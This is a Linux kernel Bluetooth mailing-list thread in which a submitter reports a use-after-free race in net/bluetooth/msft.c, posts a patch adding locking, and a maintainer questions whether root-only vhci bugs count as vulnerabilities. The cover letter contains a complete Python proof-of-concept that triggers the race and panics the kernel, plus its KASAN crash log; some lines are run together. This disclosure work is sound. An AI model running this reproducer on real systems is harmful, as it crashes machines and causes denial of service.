Bluetooth: msft: fix vendor event use-after-free during open
Subsystems (2)
cover Bluetooth: msft: fix vendor event use-after-free during open
From: Yong Wang <[email protected]>
Hi Linux kernel maintainers,
We found and validated a use-after-free in net/bluetooth/msft.c. The bug is reachable by root on systems exposing /dev/vhci and the Bluetooth debugfs controls. We tested the fix with the original reproducer and verified that it no longer crashes the guest. We also verified that the existing MSFT monitor functionality still works in the same setup.
We provide the technical details and the reproducer below.
---- details below ----
Bug details:
Commit 5031ffcc79b8 ("Bluetooth: Keep MSFT ext info throughout a hci_dev's life cycle") changed msft_do_open() to reuse the live hdev->msft_data object across power cycles.
That makes msft_do_open() free and replace msft->evt_prefix while the MSFT extension is already published through hdev->msft_data. On failure it can also clear hdev->msft_data and free the whole msft object.
At the same time, msft_vendor_evt() reads hdev->msft_data and checks msft->evt_prefix_len / msft->evt_prefix before taking hci_dev_lock(). Since HCI vendor events may still be processed while HCI_INIT is set, vendor event handling can race with msft_do_open() and hit a use-after- free on the old prefix buffer or the msft_data object itself.
We reproduced the bug with a vhci-based setup that emulates a LE-only controller, enables the MSFT opcode through debugfs, seeds a large event prefix, and then sprays vendor events across the LE Set Event Mask -> msft_do_open() transition while repeatedly power-cycling the device. The crash we observed was a KASAN slab-use-after-free in memcmp() from msft_vendor_evt(), running on hci_rx_work.
The reproducer requires python3, /dev/vhci and Bluetooth debugfs.
Reproducer:
cp poc.sh /root/poc.sh
chmod +x /root/poc.sh
ATTEMPTS=400 POC_TIMEOUT=180 /root/poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
if [ "$(id -u)" -ne 0 ]; then
echo "run as root" >&2
exit 1
fi
exec python3 - "$@" <<'PY'
import fcntl
import os
import select
import socket
import struct
import sys
import threading
import time
HCIDEVUP = 0x400448C9
HCIDEVDOWN = 0x400448CAAF_BLUETOOTH = getattr(socket, "AF_BLUETOOTH", 31) BTPROTO_HCI = getattr(socket, "BTPROTO_HCI", 1) HCI_COMMAND_PKT = 0x01HCI_EVENT_PKT = 0x04HCI_VENDOR_PKT = 0xFFHCI_EV_CMD_COMPLETE = 0x0E
MSFT_OPCODE = 0xFC1EPREFIX_A = b"A" * 241PREFIX_B = b"B" * 241
ATTEMPTS = int(os.environ.get("ATTEMPTS", "400")) RACE_THREADS = int(os.environ.get("RACE_THREADS", "2")) TIMEOUT = float(os.environ.get("POC_TIMEOUT", "180"))
phase_lock = threading.Lock()
phase = "first_init"
attempt = 0current_prefix = b""next_prefix = PREFIX_A
first_done = threading.Event()seed_done = threading.Event()stop_evt = threading.Event()spray_evt = threading.Event()
devid = Nonevhci_fd = None
def get_state():
with phase_lock:
return phase, attempt, current_prefix, next_prefix
def set_phase(new_phase):
global phase
with phase_lock:
phase = new_phase
def set_attempt(new_attempt):
global attempt
with phase_lock:
attempt = new_attempt
def advance_prefix():
global current_prefix, next_prefix
with phase_lock:
current_prefix = next_prefix
next_prefix = PREFIX_B if next_prefix == PREFIX_A else PREFIX_A return current_prefix
def cmd_complete(opcode, params):
payload = bytes([1]) + struct.pack("<H", opcode) + params return bytes([HCI_EVENT_PKT, HCI_EV_CMD_COMPLETE, len(payload)]) + payload
def status_rsp(opcode, status=0):
return cmd_complete(opcode, bytes([status]))
def local_version_rsp():
params = bytes([0x00, 0x09])
params += struct.pack("<H", 0)
params += bytes([0x09])
params += struct.pack("<H", 0)
params += struct.pack("<H", 0)
return cmd_complete(0x1001, params)def local_features_rsp():
feats = bytearray(8)
feats[4] = 0x60
return cmd_complete(0x1003, b"\x00" + bytes(feats))def local_commands_rsp():
return cmd_complete(0x1002, b"\x00" + b"\x00" * 64)
def bdaddr_rsp():
return cmd_complete(0x1009, b"\x00" + b"\x66\x55\x44\x33\x22\x11")
def le_local_features_rsp():
return cmd_complete(0x2003, b"\x00" + b"\x00" * 8)
def le_buffer_size_rsp():
return cmd_complete(0x2002, b"\x00" + struct.pack("<H", 0x001B) + b"\x01")def le_supported_states_rsp():
return cmd_complete(0x201C, b"\x00" + b"\x00" * 8)
def msft_supported_features_rsp(prefix):
params = b"\x00\x00" + struct.pack("<Q", 0) + bytes([len(prefix)]) + prefix return cmd_complete(MSFT_OPCODE, params)
def vendor_evt_packet(prefix):
payload = prefix + b"\x00"
return bytes([HCI_EVENT_PKT, 0xFF, len(payload)]) + payloaddef spray_worker(worker_id):
sent = 0
errs = 0
while not stop_evt.is_set():
if not spray_evt.is_set():
time.sleep(0.0005)
continue
_, cur_attempt, prefix, _ = get_state()
pkt = vendor_evt_packet(prefix)
try:
os.write(vhci_fd, pkt)
sent += 1
except OSError as exc:
if exc.errno not in (6, 16, 19, 110, 111):
errs += 1
if errs < 10:
print(f"spray{worker_id}: errno={exc.errno} {exc}", flush=True)
time.sleep(0.0001)
if worker_id == 0 and sent and sent % 5000 == 0:
print(f"spray attempt={cur_attempt} sent={sent}", flush=True)def control_thread(sock):
global devid
if not first_done.wait(10):
print("first init never completed", flush=True) stop_evt.set()
return
if stop_evt.is_set():
return
debugfs_path = f"/sys/kernel/debug/bluetooth/hci{devid}/msft_opcode" print(f"enabling msft opcode via {debugfs_path}", flush=True) with open(debugfs_path, "w", encoding="ascii") as handle:
handle.write(f"{MSFT_OPCODE}\n")
set_phase("seed_init")
print("seed power-cycle", flush=True)
fcntl.ioctl(sock.fileno(), HCIDEVDOWN, devid)
fcntl.ioctl(sock.fileno(), HCIDEVUP, devid)
print("seed cycle complete", flush=True)
if not seed_done.wait(10):
print("seed init never reached MSFT read", flush=True) stop_evt.set()
return
for idx in range(1, ATTEMPTS + 1):
set_attempt(idx)
set_phase("race_init")
try:
fcntl.ioctl(sock.fileno(), HCIDEVDOWN, devid) fcntl.ioctl(sock.fileno(), HCIDEVUP, devid)
except OSError as exc:
print(f"attempt {idx}: power-cycle failed: {exc}", flush=True) stop_evt.set()
return
spray_evt.clear()
if idx % 10 == 0:
print(f"completed attempts: {idx}", flush=True)
print("no crash observed within configured attempts", flush=True) stop_evt.set()
def handle_command(opcode):
cur_phase, cur_attempt, prefix, _ = get_state()
if opcode == 0x0C03:
os.write(vhci_fd, status_rsp(opcode))
elif opcode == 0x1003:
os.write(vhci_fd, local_features_rsp())
elif opcode == 0x1001:
os.write(vhci_fd, local_version_rsp())
elif opcode == 0x1009:
os.write(vhci_fd, bdaddr_rsp())
elif opcode == 0x1002:
os.write(vhci_fd, local_commands_rsp())
elif opcode == 0x2003:
os.write(vhci_fd, le_local_features_rsp())
elif opcode == 0x2002:
os.write(vhci_fd, le_buffer_size_rsp())
elif opcode == 0x201C:
os.write(vhci_fd, le_supported_states_rsp())
elif opcode in (0x0C01, 0x2001):
if cur_phase == "race_init" and opcode == 0x2001 and prefix:
spray_evt.set()
os.write(vhci_fd, status_rsp(opcode))
if cur_phase == "first_init" and opcode == 0x2001:
first_done.set()
elif opcode == MSFT_OPCODE:
new_prefix = advance_prefix()
os.write(vhci_fd, msft_supported_features_rsp(new_prefix))
if cur_phase == "seed_init":
print(f"seeded prefix length {len(new_prefix)}", flush=True)
seed_done.set()
elif cur_phase == "race_init" and cur_attempt % 10 == 0:
print(f"MSFT reply on attempt {cur_attempt}", flush=True)
else:
print(f"unexpected opcode 0x{opcode:04x} in phase {cur_phase}", flush=True)
os.write(vhci_fd, status_rsp(opcode))def main():
global devid
global vhci_fd
vhci_fd = os.open("/dev/vhci", os.O_RDWR)
os.write(vhci_fd, bytes([HCI_VENDOR_PKT, 0x00]))
print("created vhci controller", flush=True)
sock = socket.socket(AF_BLUETOOTH, socket.SOCK_RAW, BTPROTO_HCI)
for worker_id in range(RACE_THREADS):
thread = threading.Thread(target=spray_worker, args=(worker_id,), daemon=True)
thread.start()
thread = threading.Thread(target=control_thread, args=(sock,), daemon=True)
thread.start()
deadline = time.time() + TIMEOUT
while time.time() < deadline and not stop_evt.is_set():
ready, _, _ = select.select([vhci_fd], [], [], 1.0)
if not ready:
continue
data = os.read(vhci_fd, 4096)
if not data:
print("vhci controller closed", flush=True)
break
pkt_type = data[0]
if pkt_type == HCI_VENDOR_PKT and len(data) >= 4:
_, opcode, lo, hi = data[:4]
devid = lo | (hi << 8)
print(f"hci{devid} created with create-opcode 0x{opcode:02x}", flush=True)
continue
if pkt_type != HCI_COMMAND_PKT or len(data) < 4:
continue
opcode = data[1] | (data[2] << 8)
handle_command(opcode)
stop_evt.set()
spray_evt.clear()
print("poc exited without crashing the guest", flush=True)
return 1if __name__ == "__main__":
sys.exit(main())
PY
------END poc.sh--------
----BEGIN crash log----
[ 443.891897][ T5148] page_owner tracks the page as allocated [ 443.892364][ T5148] page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 29935415922, free_ts 29929297499 [ 443.894452][ T5148] page last free pid 1 tgid 1 stack trace: [ 443.895834][ T5148] Kernel panic - not syncing: KASAN: panic_on_warn set ... [ 443.896311][ T5148] CPU: 1 UID: 0 PID: 5148 Comm: kworker/u9:1 Not tainted 6.12.74 #3 [ 443.896864][ T5148] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 443.897571][ T5148] Workqueue: hci0 hci_rx_work [ 443.897940][ T5148] Call Trace: [ 443.898179][ T5148] <TASK> [ 443.898400][ T5148] dump_stack_lvl+0x3b/0x1f0 [ 443.898758][ T5148] panic+0x6fe/0x7e0 [ 443.899068][ T5148] ? __pfx_panic+0x10/0x10 [ 443.899402][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.899843][ T5148] ? rcu_is_watching+0x12/0xc0 [ 443.900223][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.900651][ T5148] ? __pfx_lock_release+0x10/0x10 [ 443.901054][ T5148] ? check_panic_on_warn+0x24/0xb0 [ 443.901434][ T5148] ? memcmp+0x1bd/0x1d0 [ 443.901762][ T5148] check_panic_on_warn+0xb0/0xb0 [ 443.902128][ T5148] end_report+0x11b/0x180 [ 443.902473][ T5148] kasan_report+0xe8/0x110 [ 443.902830][ T5148] ? memcmp+0x1bd/0x1d0 [ 443.903159][ T5148] memcmp+0x1bd/0x1d0 [ 443.903473][ T5148] msft_vendor_evt+0x1e8/0x1a20 [ 443.903854][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.904273][ T5148] ? skb_pull_data+0x16b/0x210 [ 443.904629][ T5148] hci_event_packet+0xa05/0x11a0 [ 443.905007][ T5148] ? __pfx_msft_vendor_evt+0x10/0x10 [ 443.905406][ T5148] ? __pfx_hci_event_packet+0x10/0x10 [ 443.905813][ T5148] ? __entry_text_end+0x1020b5/0x1020b9 [ 443.906230][ T5148] ? mark_held_locks+0x94/0xe0 [ 443.906592][ T5148] ? kcov_remote_start+0x3af/0x6c0 [ 443.907002][ T5148] ? lockdep_hardirqs_on+0x7b/0x110 [ 443.907381][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.907818][ T5148] hci_rx_work+0x878/0x1680 [ 443.908169][ T5148] ? process_one_work+0x8d3/0x1b60 [ 443.908561][ T5148] process_one_work+0x96d/0x1b60 [ 443.908957][ T5148] ? __pfx_hci_rx_work+0x10/0x10 [ 443.909334][ T5148] ? __pfx_process_one_work+0x10/0x10 [ 443.909744][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.910170][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.910585][ T5148] ? assign_work+0x1a1/0x250 [ 443.910949][ T5148] worker_thread+0x647/0xe70 [ 443.911311][ T5148] ? srso_alias_return_thunk+0x5/0xfbef5 [ 443.911739][ T5148] ? __kthread_parkme+0x137/0x210 [ 443.912125][ T5148] ? __pfx_worker_thread+0x10/0x10 [ 443.912509][ T5148] ? __pfx_worker_thread+0x10/0x10 [ 443.912907][ T5148] kthread+0x2b0/0x3a0 [ 443.913209][ T5148] ? _raw_spin_unlock_irq+0x28/0x50 [ 443.913590][ T5148] ? __pfx_kthread+0x10/0x10 [ 443.913988][ T5148] ret_from_fork+0x4a/0x80 [ 443.914319][ T5148] ? __pfx_kthread+0x10/0x10 [ 443.914673][ T5148] ret_from_fork_asm+0x1a/0x30 [ 443.915060][ T5148] </TASK> [ 443.915418][ T5148] Kernel Offset: disabled [ 443.915741][ T5148] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Yong Wang
Yong Wang (1):
Bluetooth: msft: fix vendor event use-after-free during open
net/bluetooth/msft.c | 70 +++++++++++++++++++++++++++----------------- 1 file changed, 43 insertions(+), 27 deletions(-)
Signature · 1 line
2.53.0
PATCH RESEND 1/1 Bluetooth: msft: fix vendor event use-after-free during open
From: Yong Wang <[email protected]>
Commit 5031ffcc79b8 ("Bluetooth: Keep MSFT ext info throughout a hci_dev's life cycle") changed msft_do_open() to reuse the live hdev->msft_data object across power cycles.
That makes msft_do_open() free and replace msft->evt_prefix while the MSFT extension is already published through hdev->msft_data. On failure it can also clear hdev->msft_data and free the whole msft object.
At the same time, msft_vendor_evt() reads hdev->msft_data and checks msft->evt_prefix_len / msft->evt_prefix before taking hci_dev_lock(). Since HCI vendor events may still be processed while HCI_INIT is set, vendor event handling can race with msft_do_open() and hit a use-after- free on the old prefix buffer or the msft_data object itself.
Fix this by reading the supported feature data into a temporary object first, then updating the live MSFT state only while holding hci_dev_lock(). Also make msft_vendor_evt() take hci_dev_lock() before reading hdev->msft_data and the event prefix state.
This keeps the published MSFT state stable across the open path and serializes it against vendor event processing.
--- net/bluetooth/msft.c | 70 +++++++++++++++++++++++++++----------------- 1 file changed, 43 insertions(+), 27 deletions(-)
net/bluetooth/msft.c +43 -27
@@ -133,13 +133,19 @@ struct msft_data {struct mutex filter_lock; }; +struct msft_supported_features { +__u64 features; +__u8 evt_prefix_len; +__u8 *evt_prefix; +}; +bool msft_monitor_supported (struct hci_dev *hdev) {return !!(msft_get_features (hdev) &MSFT_FEATURE_MASK_LE_ADV_MONITOR ); }static bool read_supported_features (struct hci_dev *hdev, -struct msft_data *msft) +struct msft_supported_features *supported) {struct msft_cp_read_supported_features cp;struct msft_rp_read_supported_features *rp;
@@ -166,17 +172,14 @@ static bool read_supported_features(struct hci_dev *hdev, goto failed;if (rp->evt_prefix_len >0 ) { - msft->evt_prefix =kmemdup (rp->evt_prefix, rp->evt_prefix_len, -GFP_KERNEL ); -if (!msft->evt_prefix) + supported->evt_prefix = +kmemdup (rp->evt_prefix, rp->evt_prefix_len,GFP_KERNEL ); +if (!supported->evt_prefix) goto failed; } - msft->evt_prefix_len = rp->evt_prefix_len; - msft->features =__le64_to_cpu (rp->features); - -if (msft->features &MSFT_FEATURE_MASK_CURVE_VALIDITY ) - hdev->msft_curve_validity = true; + supported->evt_prefix_len = rp->evt_prefix_len; + supported->features =__le64_to_cpu (rp->features);kfree_skb (skb);return true;
@@ -631,6 +634,7 @@ int msft_resume_sync(struct hci_dev *hdev)void msft_do_open (struct hci_dev *hdev) {struct msft_data *msft = hdev->msft_data; +struct msft_supported_features supported = {};if (hdev->msft_opcode ==HCI_OP_NOP )return ;
@@ -642,19 +646,29 @@ void msft_do_open(struct hci_dev *hdev)bt_dev_dbg (hdev,"Initialize MSFT extension" ); -/* Reset existing MSFT data before re-reading */ -kfree (msft->evt_prefix); - msft->evt_prefix =NULL ; - msft->evt_prefix_len =0 ; - msft->features =0 ; - -if (!read_supported_features (hdev, msft)) { - hdev->msft_data =NULL ; -kfree (msft); +if (!read_supported_features (hdev, &supported)) { +hci_dev_lock (hdev); +kfree (msft->evt_prefix); + msft->evt_prefix =NULL ; + msft->evt_prefix_len =0 ; + msft->features =0 ; +hci_dev_unlock (hdev);return ; } -if (msft_monitor_supported (hdev)) { +hci_dev_lock (hdev); + +kfree (msft->evt_prefix); + msft->evt_prefix = supported.evt_prefix; + msft->evt_prefix_len = supported.evt_prefix_len; + msft->features = supported.features; + +if (supported.features &MSFT_FEATURE_MASK_CURVE_VALIDITY ) + hdev->msft_curve_validity = true; + +hci_dev_unlock (hdev); + +if (supported.features &MSFT_FEATURE_MASK_LE_ADV_MONITOR ) { msft->resuming = true;msft_set_filter_enable (hdev, true);/* Monitors get removed on power off, so we need to explicitly
@@ -1067,12 +1081,15 @@ static void msft_monitor_device_evt(struct hci_dev *hdev, struct sk_buff *skb)void msft_vendor_evt (struct hci_dev *hdev,void *data,struct sk_buff *skb) { -struct msft_data *msft = hdev->msft_data; +struct msft_data *msft;u8 *evt_prefix;u8 *evt; +hci_dev_lock (hdev); + + msft = hdev->msft_data;if (!msft) -return ; + goto unlock;/* When the extension has defined an event prefix, check that it * matches, and otherwise just return.
@@ -1080,23 +1097,21 @@ void msft_vendor_evt(struct hci_dev *hdev, void *data, struct sk_buff *skb)if (msft->evt_prefix_len >0 ) { evt_prefix =msft_skb_pull (hdev, skb,0 , msft->evt_prefix_len);if (!evt_prefix) -return ; + goto unlock;if (memcmp (evt_prefix, msft->evt_prefix, msft->evt_prefix_len)) -return ; + goto unlock; }/* Every event starts at least with an event code and the rest of * the data is variable and depends on the event code. */ if (skb->len <1 ) -return ; + goto unlock; evt =msft_skb_pull (hdev, skb,0 ,sizeof (*evt));if (!evt) -return ; - -hci_dev_lock (hdev); + goto unlock;switch (*evt) {case MSFT_EV_LE_MONITOR_DEVICE :
@@ -1110,6 +1125,7 @@ void msft_vendor_evt(struct hci_dev *hdev, void *data, struct sk_buff *skb)break ; } +unlock:hci_dev_unlock (hdev); }
Signature · 1 line
2.53.0
This is an automated email and please do not reply to this email.
Dear Submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
While preparing the CI tests, the patches you submitted couldn't be applied to the current HEAD of the repository.
----- Output -----
error: patch failed: net/bluetooth/msft.c:166
error: net/bluetooth/msft.c: patch does not apply
hint: Use 'git am --show-current-patch' to see the failed patch
Please resolve the issue and submit the patches again.
---
Regards,
Linux Bluetooth
Luiz Augusto von Dentz
maintainerHi Ren,
Quoted 32 lines · Ren Wei
From: Yong Wang <[email protected]>
Hi Linux kernel maintainers,
We found and validated a use-after-free in
net/bluetooth/msft.c. The bug is reachable by root on systems exposing/dev/vhciand the Bluetooth debugfs controls. We tested the fix with the original reproducer and verified that it no longer crashes the guest. We also verified that the existing MSFT monitor functionality still works in the same setup.We provide the technical details and the reproducer below.
---- details below ----
Bug details:
Commit
5031ffcc79b8("Bluetooth: Keep MSFT ext info throughout a hci_dev's life cycle") changedmsft_do_open()to reuse the livehdev->msft_dataobject across power cycles.That makes
msft_do_open()free and replacemsft->evt_prefixwhile the MSFT extension is already published throughhdev->msft_data. On failure it can also clearhdev->msft_dataand free the whole msft object.At the same time,
msft_vendor_evt()readshdev->msft_dataand checksmsft->evt_prefix_len/msft->evt_prefixbefore takinghci_dev_lock(). Since HCI vendor events may still be processed whileHCI_INITis set, vendor event handling can race withmsft_do_open()and hit a use-after- free on the old prefix buffer or themsft_dataobject itself.
Quoted 8 lines
We reproduced the bug with a vhci-based setup that emulates a LE-only controller, enables the MSFT opcode through debugfs, seeds a large event prefix, and then sprays vendor events across the LE Set Event Mask ->
msft_do_open()transition while repeatedly power-cycling the device. The crash we observed was a KASAN slab-use-after-free inmemcmp()frommsft_vendor_evt(), running onhci_rx_work.The reproducer requires python3,
/dev/vhciand Bluetooth debugfs.
vhci requires root:
Quoted 1 line
btvirt -l1
Bluetooth emulator ver 5.87
Failed to open Virtual HCI device
Quoted 7 lines
Reproducer:
cp
poc.sh/root/poc.sh
chmod +x/root/poc.sh
ATTEMPTS=400 POC_TIMEOUT=180/root/poc.shWe run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
A general note: if root access is required, it is not a vulnerability in the Bluetooth subsystem anymore. We should obviously harden it, but generally, we shouldn't accept it as a weakness in the Bluetooth stack if it requires emulating HCI traffic via vhci.